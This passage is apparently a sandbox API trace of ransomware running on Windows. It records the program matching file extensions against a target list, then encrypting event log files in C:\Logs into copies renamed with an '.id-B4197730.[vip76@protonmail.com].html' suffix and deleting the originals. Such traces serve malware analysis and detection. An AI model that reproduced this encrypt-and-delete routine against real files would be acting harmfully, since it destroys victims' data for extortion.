	[0075.887] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0075.887] lstrlenW (lpString=".pdf") returned 4
	[0075.887] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0075.887] lstrlenW (lpString=".xls") returned 4
	[0075.887] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0075.887] lstrlenW (lpString=".xlsx") returned 5
	[0075.887] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0075.887] lstrlenW (lpString=".ppt") returned 4
	[0075.887] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0075.887] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41
	[0075.887] lstrlenW (lpString=".zip") returned 4
	[0075.887] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0075.887] lstrlenW (lpString=".rar") returned 4
	[0075.887] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0075.887] lstrlenW (lpString=".bz2") returned 4
	[0075.888] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0075.888] lstrlenW (lpString=".7z") returned 3
	[0075.888] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0075.888] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41
	[0075.888] lstrlenW (lpString=".dbf") returned 4
	[0075.888] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0075.888] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41
	[0075.888] lstrlenW (lpString=".1cd") returned 4
	[0075.888] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0075.888] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41
	[0075.888] lstrlenW (lpString=".jpg") returned 4
	[0075.888] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0075.888] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41
	[0075.888] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41
	[0075.888] lstrlenW (lpString=".doc") returned 4
	[0075.888] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0075.888] lstrlenW (lpString=".docx") returned 5
	[0075.888] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0075.888] lstrlenW (lpString=".pdf") returned 4
	[0075.888] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0075.888] lstrlenW (lpString=".xls") returned 4
	[0075.888] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0075.888] lstrlenW (lpString=".xlsx") returned 5
	[0075.888] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0075.888] lstrlenW (lpString=".ppt") returned 4
	[0075.888] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0075.888] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41
	[0075.888] lstrlenW (lpString=".zip") returned 4
	[0075.888] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0075.888] lstrlenW (lpString=".rar") returned 4
	[0075.888] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0075.888] lstrlenW (lpString=".bz2") returned 4
	[0075.888] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0075.889] lstrlenW (lpString=".7z") returned 3
	[0075.889] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0075.889] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41
	[0075.889] lstrlenW (lpString=".dbf") returned 4
	[0075.889] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0075.889] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41
	[0075.889] lstrlenW (lpString=".1cd") returned 4
	[0075.889] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0075.889] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41
	[0075.889] lstrlenW (lpString=".jpg") returned 4
	[0075.889] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0075.889] lstrcmpiW (lpString1=".evtx", lpString2=".html") returned -1
	[0075.889] lstrlenW (lpString="Microsoft-Windows-Ntfs%4WHC.evtx") returned 32
	[0075.889] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0075.889] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=69632) returned 1
	[0075.889] CloseHandle (hObject=0x388) returned 1
	[0075.889] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx")) returned 0x20
	[0075.889] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0075.890] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0075.890] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.890] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.890] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0075.890] GetLastError () returned 0x0
	[0075.890] ReadFile (in: hFile=0x388, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0075.895] WriteFile (in: hFile=0x2c0, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0075.898] ReadFile (in: hFile=0x388, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1
	[0075.898] WriteFile (in: hFile=0x2c0, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0x114, lpOverlapped=0x0) returned 1
	[0075.898] SetEndOfFile (hFile=0x2c0) returned 1
	[0075.898] CloseHandle (hObject=0x2c0) returned 1
	[0075.900] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.900] SetEndOfFile (hFile=0x388) returned 1
	[0075.902] CloseHandle (hObject=0x388) returned 1
	[0075.902] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0075.902] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx")) returned 1
	[0075.903] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40
	[0075.903] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40
	[0075.903] lstrlenW (lpString=".doc") returned 4
	[0075.903] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0075.903] lstrlenW (lpString=".docx") returned 5
	[0075.903] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0075.903] lstrlenW (lpString=".pdf") returned 4
	[0075.903] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0075.903] lstrlenW (lpString=".xls") returned 4
	[0075.903] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0075.903] lstrlenW (lpString=".xlsx") returned 5
	[0075.903] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0075.903] lstrlenW (lpString=".ppt") returned 4
	[0075.903] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0075.903] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40
	[0075.903] lstrlenW (lpString=".zip") returned 4
	[0075.903] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0075.903] lstrlenW (lpString=".rar") returned 4
	[0075.903] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0075.903] lstrlenW (lpString=".bz2") returned 4
	[0075.903] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0075.903] lstrlenW (lpString=".7z") returned 3
	[0075.903] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0075.904] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40
	[0075.904] lstrlenW (lpString=".dbf") returned 4
	[0075.904] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0075.904] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40
	[0075.904] lstrlenW (lpString=".1cd") returned 4
	[0075.904] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0075.904] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40
	[0075.904] lstrlenW (lpString=".jpg") returned 4
	[0075.904] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0075.904] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40
	[0075.904] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40
	[0075.904] lstrlenW (lpString=".doc") returned 4
	[0075.904] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0075.904] lstrlenW (lpString=".docx") returned 5
	[0075.904] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0075.904] lstrlenW (lpString=".pdf") returned 4
	[0075.904] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0075.904] lstrlenW (lpString=".xls") returned 4
	[0075.904] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0075.904] lstrlenW (lpString=".xlsx") returned 5
	[0075.904] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0075.904] lstrlenW (lpString=".ppt") returned 4
	[0075.904] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0075.904] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40
	[0075.904] lstrlenW (lpString=".zip") returned 4
	[0075.905] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0075.905] lstrlenW (lpString=".rar") returned 4
	[0075.905] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0075.905] lstrlenW (lpString=".bz2") returned 4
	[0075.905] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0075.905] lstrlenW (lpString=".7z") returned 3
	[0075.905] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0075.905] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40
	[0075.905] lstrlenW (lpString=".dbf") returned 4
	[0075.905] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0075.905] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40
	[0075.905] lstrlenW (lpString=".1cd") returned 4
	[0075.905] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0075.905] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40
	[0075.905] lstrlenW (lpString=".jpg") returned 4
	[0075.905] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0075.905] lstrcmpiW (lpString1=".evtx", lpString2=".html") returned -1
	[0075.905] lstrlenW (lpString="Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 74
	[0075.905] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0075.908] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=69632) returned 1
	[0075.908] CloseHandle (hObject=0x388) returned 1
	[0075.908] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx")) returned 0x20
	[0075.909] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0075.909] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0075.909] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.909] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.909] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0075.910] GetLastError () returned 0x0
	[0075.910] ReadFile (in: hFile=0x388, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0075.913] WriteFile (in: hFile=0x2c0, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0075.915] ReadFile (in: hFile=0x388, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1
	[0075.915] WriteFile (in: hFile=0x2c0, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0x168, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0x168, lpOverlapped=0x0) returned 1
	[0075.915] SetEndOfFile (hFile=0x2c0) returned 1
	[0075.915] CloseHandle (hObject=0x2c0) returned 1
	[0075.918] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.918] SetEndOfFile (hFile=0x388) returned 1
	[0075.920] CloseHandle (hObject=0x388) returned 1
	[0075.920] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0075.920] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx")) returned 1
	[0075.921] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82
	[0075.921] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82
	[0075.921] lstrlenW (lpString=".doc") returned 4
	[0075.921] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0075.921] lstrlenW (lpString=".docx") returned 5
	[0075.921] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0075.921] lstrlenW (lpString=".pdf") returned 4
	[0075.921] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0075.921] lstrlenW (lpString=".xls") returned 4
	[0075.921] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0075.921] lstrlenW (lpString=".xlsx") returned 5
	[0075.921] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0075.921] lstrlenW (lpString=".ppt") returned 4
	[0075.921] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0075.921] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82
	[0075.921] lstrlenW (lpString=".zip") returned 4
	[0075.921] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0075.921] lstrlenW (lpString=".rar") returned 4
	[0075.921] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0075.921] lstrlenW (lpString=".bz2") returned 4
	[0075.921] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0075.921] lstrlenW (lpString=".7z") returned 3
	[0075.921] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0075.921] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82
	[0075.921] lstrlenW (lpString=".dbf") returned 4
	[0075.922] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0075.922] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82
	[0075.922] lstrlenW (lpString=".1cd") returned 4
	[0075.922] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0075.922] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82
	[0075.922] lstrlenW (lpString=".jpg") returned 4
	[0075.922] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0075.922] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82
	[0075.922] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82
	[0075.922] lstrlenW (lpString=".doc") returned 4
	[0075.922] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0075.922] lstrlenW (lpString=".docx") returned 5
	[0075.922] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0075.922] lstrlenW (lpString=".pdf") returned 4
	[0075.922] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0075.922] lstrlenW (lpString=".xls") returned 4
	[0075.922] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0075.922] lstrlenW (lpString=".xlsx") returned 5
	[0075.922] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0075.922] lstrlenW (lpString=".ppt") returned 4
	[0075.922] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0075.922] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82
	[0075.922] lstrlenW (lpString=".zip") returned 4
	[0075.922] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0075.922] lstrlenW (lpString=".rar") returned 4
	[0075.923] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0075.923] lstrlenW (lpString=".bz2") returned 4
	[0075.923] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0075.923] lstrlenW (lpString=".7z") returned 3
	[0075.923] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0075.923] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82
	[0075.923] lstrlenW (lpString=".dbf") returned 4
	[0075.923] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0075.923] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82
	[0075.923] lstrlenW (lpString=".1cd") returned 4
	[0075.923] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0075.923] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82
	[0075.923] lstrlenW (lpString=".jpg") returned 4
	[0075.923] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0075.923] lstrcmpiW (lpString1=".evtx", lpString2=".html") returned -1
	[0075.923] lstrlenW (lpString="Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 46
	[0075.923] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0075.924] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=69632) returned 1
	[0075.924] CloseHandle (hObject=0x388) returned 1
	[0075.924] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx")) returned 0x20
	[0075.924] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0075.924] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0075.924] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.924] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.924] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0075.925] GetLastError () returned 0x0
	[0075.925] ReadFile (in: hFile=0x388, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0076.293] WriteFile (in: hFile=0x2c0, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0076.295] ReadFile (in: hFile=0x388, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1
	[0076.295] WriteFile (in: hFile=0x2c0, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0x130, lpOverlapped=0x0) returned 1
	[0076.295] SetEndOfFile (hFile=0x2c0) returned 1
	[0076.295] CloseHandle (hObject=0x2c0) returned 1
	[0076.297] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.297] SetEndOfFile (hFile=0x388) returned 1
	[0076.299] CloseHandle (hObject=0x388) returned 1
	[0076.299] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0076.299] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx")) returned 1
	[0076.300] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54
	[0076.300] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54
	[0076.300] lstrlenW (lpString=".doc") returned 4
	[0076.300] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0076.300] lstrlenW (lpString=".docx") returned 5
	[0076.300] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0076.300] lstrlenW (lpString=".pdf") returned 4
	[0076.300] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0076.300] lstrlenW (lpString=".xls") returned 4
	[0076.300] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0076.300] lstrlenW (lpString=".xlsx") returned 5
	[0076.300] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0076.300] lstrlenW (lpString=".ppt") returned 4
	[0076.300] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0076.300] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54
	[0076.300] lstrlenW (lpString=".zip") returned 4
	[0076.300] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0076.300] lstrlenW (lpString=".rar") returned 4
	[0076.300] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0076.300] lstrlenW (lpString=".bz2") returned 4
	[0076.300] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0076.300] lstrlenW (lpString=".7z") returned 3
